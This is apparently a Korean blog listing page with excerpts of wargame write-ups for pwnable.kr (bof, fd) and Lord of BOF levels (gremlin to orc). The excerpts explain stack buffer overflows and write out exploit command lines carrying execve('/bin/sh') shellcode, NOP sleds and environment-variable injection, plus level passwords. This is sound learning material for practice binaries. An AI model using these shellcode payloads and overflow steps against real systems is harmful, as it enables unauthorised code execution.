본문 바로가기

전체 글157

pwnable.kr bof [Toddler's Bottle] bof bof문제는 아래와 같다. 아래는 bof.c 코드이다. overflowme를 이용하여 func의 인자로 전달되는 key를 0xcafebabe로 덮으면 될 것으로 보인다. 이 때 overflowme와 key의 거리를 알아야 하므로 AAAA를 입력했을 때의 스택 상태를 보면0x41414141이 0xffffd37c에 위치해 있고0xdeadbeef가 0xffffd3b0에 있는 것을 알 수 있다. 0xffffd3b0 - 0xffffd37c = 0x34 = 52이므로52만큼 A로 덮은 뒤0xcafebabe를 넣어주면 된다. 코드는 아래와 같다. 그 결과 flag를 얻을 수 있었다. 2019. 2. 1.
pwnable.kr fd [Toddler's Bottle] fd fd 문제는 아래와 같다. 문제 이름처럼 file descriptor에 관한 문제라고 한다. 일단 접속을 해보면 위와 같이 fd.c 가 있는 것을 보게 된다. fd.c 코드를 보면,fd에 argv[1]을 int로 변환한 값에서 0x1234를 뺀 값을 저장한다.그 뒤, buf에 32바이트만큼 읽어오고 “LETMEWIN\n”과 비교한다. 따라서 fd를 stdin으로 해준 뒤, 해당 문자열을 입력하면 될 것으로 보인다.stdin은 0에 해당하므로 0x1234, 즉 4660을 입력한 뒤 stdin으로 LETMEWIN을 입력하니 flag를 얻을 수 있었다. 2019. 2. 1.
LOB - 03 goblin - (2)환경 변수 이용 [goblin - small buffer + stdin]cobolt : hacking exposed 이번에는 'LOB - 03 goblin' 문제를 환경 변수를 이용하여 풀 것이다.터미널에서 아래와 같이 export를 하면 환경변수를 설정할 수 있다. 먼저 sh에 쉘코드를 넣어두었다. export sh=`python -c 'print "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 이제 sh의 주소를 알아오기 위해 간단한 코드를 작성하였다. 컴파일한 뒤, 실행하면 아.. 2019. 2. 1.
LOB - 04 orc [orc - egghunter]goblin : hackers proof goblin으로 로그인하면 아래와 같은 orc 코드를 볼 수 있다. 먼저 environ은 환경변수 array의 포인터이다. man environ 자세한 설명은 man 페이지를 참고하면 된다. 다시 코드를 보면, 환경변수를 초기화하고 argv[1][47]의 값을 확인하는 것을 볼 수 있다.따라서 이번 문제에서는 'LOB - 03 goblin - (2)환경 변수 이용'과 같이 풀 수는 없을 것으로 보인다. 버퍼와 sfp까지 총 44바이트의 공간에 쉘코드를 넣을 수 있고 eip에는 0xbf로 시작하는 주소를 넣어주면 된다.먼저 아래와 같이 실행을 해보았다. ./aaa `python -c 'print "A"*47 + "\xbf"'` gdb로.. 2019. 2. 1.
LOB - 03 goblin [goblin - small buffer + stdin]cobolt : hacking exposed 위의 id와 password로 로그인하면아래와 같이 goblin 코드를 볼 수 있다. 'LOB - 02 cobolt' 와 유사한 문제이며, stdin으로 입력 받는다는 차이가 있다.cobolt 문제와 같이 권한 문제로 먼저 tmp 디렉토리를 만든 뒤 바이너리를 복사한다. 그 뒤, buffer 16 바이트와 sfp 4바이트를 A로 채우고eip 자리에 B를 넣은 뒤 쉘코드를 입력한다. mkdir tmp cp goblin ./tmp/goblin cd tmp python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\x.. 2019. 2. 1.
LOB - 02 cobolt [cobolt - small buffer]gremlin : hello bof world 먼저 cobolt.c의 코드는 아래와 같다. 코드를 보면 크기가 16인 버퍼에 strcpy()를 하는 것을 볼 수 있다.이 때, 버퍼의 크기를 고려하지 않고 복사하기 때문에 20바이트를 덮으면 eip를 바꿀 수 있다.20바이트에 쉘코드를 담기에는 버퍼가 작기 때문에 eip 뒤쪽에 쉘코드를 넣어 보았다. 따라서 A를 20개 채우고, eip 자리에 우선 B를 넣어둔 뒤\x90을 100개 정도 쓴 뒤에 쉘코드를 넣었다. ./aaaaaa `python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01.. 2019. 2. 1.
LOB - 01 gremlin - (3)마무리 # core 파일 생성ulimit -c unlimited # 쉘코드\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'LOB - 01 gremlin - (1)스택 구조 파악' 글에 이어 작성하려고 한다.먼저 실행 파일이 gate가 아닌 gremlin의 권한으로 되어 있기 때문에분석을 위해 tmp 디렉토리를 만들고 실행파일을 복사한다. 'LOB - 01 gremlin - (1)스택 구조 파악' 에서는 A로 260개를 채웠지만,이번에는 뒤쪽에 쉘코드를 넣은 뒤, 앞을 \x90으로 채우고 eip 자리를 A.. 2019. 2. 1.
LOB - 01 gremlin - (2.2)쉘코드 수정 이번에 작성할 코드도 'LOB - 01 gremlin - (2.1)쉘코드 작성'과 동일하게 execve('/bin/sh') 이다. 이번에는 data 영역 대신 call 명령어를 이용할 것이다. 설명에 앞서 작성한 코드는 아래와 같다. 이번에는 call 명령어를 이용한다.call은 call하는 주소로 점프하기 전에 call 아래에 있는 명령어의 주소를 스택에 push한다. 따라서 위의 코드의 경우 "/bin/sh" 스트링이 담긴 주소가 스택에 push된다.그리고 main에서 pop을 하면 ebx에 "/bin/sh"의 주소가 담기게 된다.eax, ecx, edx와 관련된 부분은 이전과 동일하다. # objdump 이용 for i in $(objdump -d shell | grep "^ " | cut -f 2.. 2019. 2. 1.
LOB - 01 gremlin - (2.1)쉘코드 작성 vi shell.s # sudo apt-get install nasm nasm -f elf32 shell.s ld -m elf_i386 -o shell shell.o 지금 작성할 코드는 execve(’/bin/sh’)이다.시스템콜의 호출을 위해 int 80을 수행한다. 이 때, linux syscall table을 참고하여 systemcall 번호는 eax에 나머지 인자들은 각각 해당하는 레지스터에 값을 넣어주어야 한다.sys_execve는 11번이므로 eax에 0xb를 넣게 된다. 그리고 execve()의 man page와 table을 참고하여 인자를 넣어준다. ’/bin/sh’ 문자열은 .data 영역에 저장한 뒤 ebx에 넣어주었다. eax는 xor의 결과로 0이 들어 있다.ecx와 edx의 경우 .. 2019. 2. 1.